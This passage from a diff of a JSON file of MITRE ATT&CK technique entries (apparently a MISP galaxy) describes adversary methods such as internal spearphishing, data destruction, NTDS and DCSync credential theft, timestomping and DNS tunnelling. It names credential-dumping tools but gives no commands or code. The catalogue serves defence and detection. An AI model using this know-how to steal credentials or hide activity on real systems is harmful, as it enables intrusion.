department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", + "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", "meta": { "external_id": "T1534", "kill_chain": [ @@ -11288,7 +19356,7 @@ "value": "Internal Spearphishing - T1534" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)", "meta": { "external_id": "T1374", "kill_chain": [ @@ -11301,6 +19369,36 @@ "uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4", "value": "Credential pharming - T1374" }, + { + "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", + "meta": { + "external_id": "T1573", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Process monitoring", + "Process use of network", + "Malware reverse engineering", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1573", + "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "value": "Encrypted Channel - T1573" + }, { "description": "An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", "meta": { @@ -11324,7 +19422,38 @@ "value": "Device Lockout - T1446" }, { - "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)", + "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", + "meta": { + "external_id": "T1564", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "PowerShell logs", + "Authentication logs", + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1564", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty", + "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/" + ] + }, + "uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "value": "Hide Artifacts - T1564" + }, + { + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)", "meta": { "external_id": "T1485", "kill_chain": [ @@ -11438,43 +19567,1405 @@ "value": "Service Stop - T1489" }, { - "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", + "description": "Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { - "external_id": "T1163", + "external_id": "T1565", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Packet capture", + "Network protocol analysis", + "File monitoring", + "Application logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1565" + ] + }, + "uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "value": "Data Manipulation - T1565" + }, + { + "description": "Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.\n\nThe NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started)\n\nAdversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)", + "meta": { + "external_id": "T1575", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:execution" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1575", + "https://developer.android.com/ndk/guides", + "https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf" + ] + }, + "uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", + "value": "Native Code - T1575" + }, + { + "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "meta": { + "external_id": "T1568", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Web logs", + "DNS records" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1568", + "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", + "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", + "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", + "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + ] + }, + "uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "value": "Dynamic Resolution - T1568" + }, + { + "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", + "meta": { + "external_id": "T1569", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1569" + ] + }, + "uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", + "value": "System Services - T1569" + }, + { + "description": "Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.", + "meta": { + "external_id": "CAPEC-94", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1557", + "https://capec.mitre.org/data/definitions/94.html", + "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/" + ] + }, + "uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "value": "Man-in-the-Middle - T1557" + }, + { + "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ", + "meta": { + "external_id": "T1137.006", "kill_chain": [ "mitre-attack:persistence" ], "mitre_data_sources": [ + "Process command-line parameters", "File monitoring", + "Windows Registry", "Process monitoring" ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1137/006", + "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", + "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf", + "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" + ] + }, + "related": [ + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "type": "subtechnique-of" + } + ], + "uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d", + "value": "Add-ins - T1137.006" + }, + { + "description": "Adversaries may use rc.common automatically executed at boot initialization to establish persistence. During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated mechanism in favor of [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user. (Citation: Methods of Mac Malware Persistence)", + "meta": { + "external_id": "T1037.004", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], "mitre_platforms": [ "macOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1163", + "https://attack.mitre.org/techniques/T1037/004", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ] }, - "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", - "value": "Rc.common - T1163" + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "type": "subtechnique-of" + } + ], + "uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", + "value": "Rc.common - T1037.004" }, { - "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "description": "Adversaries may abuse JavaScript and/or JScript for execution. JavaScript (JS) is a platform-agnostic scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nAdversaries may abuse JavaScript / JScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", "meta": { - "external_id": "T1121", + "external_id": "T1059.007", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "DLL monitoring", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/007", + "https://nodejs.org/", + "https://docs.microsoft.com/windows/win32/com/translating-to-jscript", + "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript", + "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "value": "JavaScript/JScript - T1059.007" + }, + { + "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "meta": { + "external_id": "T1218.009", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/009", + "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", + "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", + "https://lolbas-project.github.io/lolbas/Binaries/Regasm/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "value": "Regsvcs/Regasm - T1218.009" + }, + { + "description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ", + "meta": { + "external_id": "T1001.002", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1001/002", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "type": "subtechnique-of" + } + ], + "uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", + "value": "Steganography - T1001.002" + }, + { + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", + "meta": { + "external_id": "T1003.003", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows event logs", + "Process command-line parameters", + "PowerShell logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/003", + "https://en.wikipedia.org/wiki/Active_Directory", + "http://adsecurity.org/?p=1275" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "value": "NTDS - T1003.003" + }, + { + "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)", + "meta": { + "external_id": "T1003.006", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/006", + "https://msdn.microsoft.com/library/cc228086.aspx", + "https://msdn.microsoft.com/library/dd207691.aspx", + "https://wiki.samba.org/index.php/DRSUAPI", + "https://source.winehq.org/WineAPI/samlib.html", + "https://adsecurity.org/?p=1729", + "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", + "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", + "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump", + "https://msdn.microsoft.com/library/cc237008.aspx", + "https://msdn.microsoft.com/library/cc245496.aspx" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", + "value": "DCSync - T1003.006" + }, + { + "description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", + "meta": { + "external_id": "T1070.006", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1070/006", + "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + ] + }, + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "type": "subtechnique-of" + } + ], + "uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", + "value": "Timestomp - T1070.006" + }, + { + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)", + "meta": { + "external_id": "CAPEC-555", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs", + "Process use of network", + "Network protocol analysis", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021/004", + "https://capec.mitre.org/data/definitions/555.html", + "https://www.ssh.com/ssh" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "type": "subtechnique-of" + } + ], + "uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", + "value": "SSH - T1021.004" + }, + { + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user.\n\nVNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.", + "meta": { + "external_id": "CAPEC-555", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process use of network", + "Network protocol analysis", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021/005", + "https://capec.mitre.org/data/definitions/555.html" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "type": "subtechnique-of" + } + ], + "uuid": "01327cde-66c4-4123-bf34-5f258d59457b", + "value": "VNC - T1021.005" + }, + { + "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ", + "meta": { + "external_id": "T1071.004", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "DNS records", + "Netflow/Enclave netflow", + "Process monitoring", + "Process use of network", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1071/004", + "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling", + "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "type": "subtechnique-of" + } + ], + "uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "value": "DNS - T1071.004" + }, + { + "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the 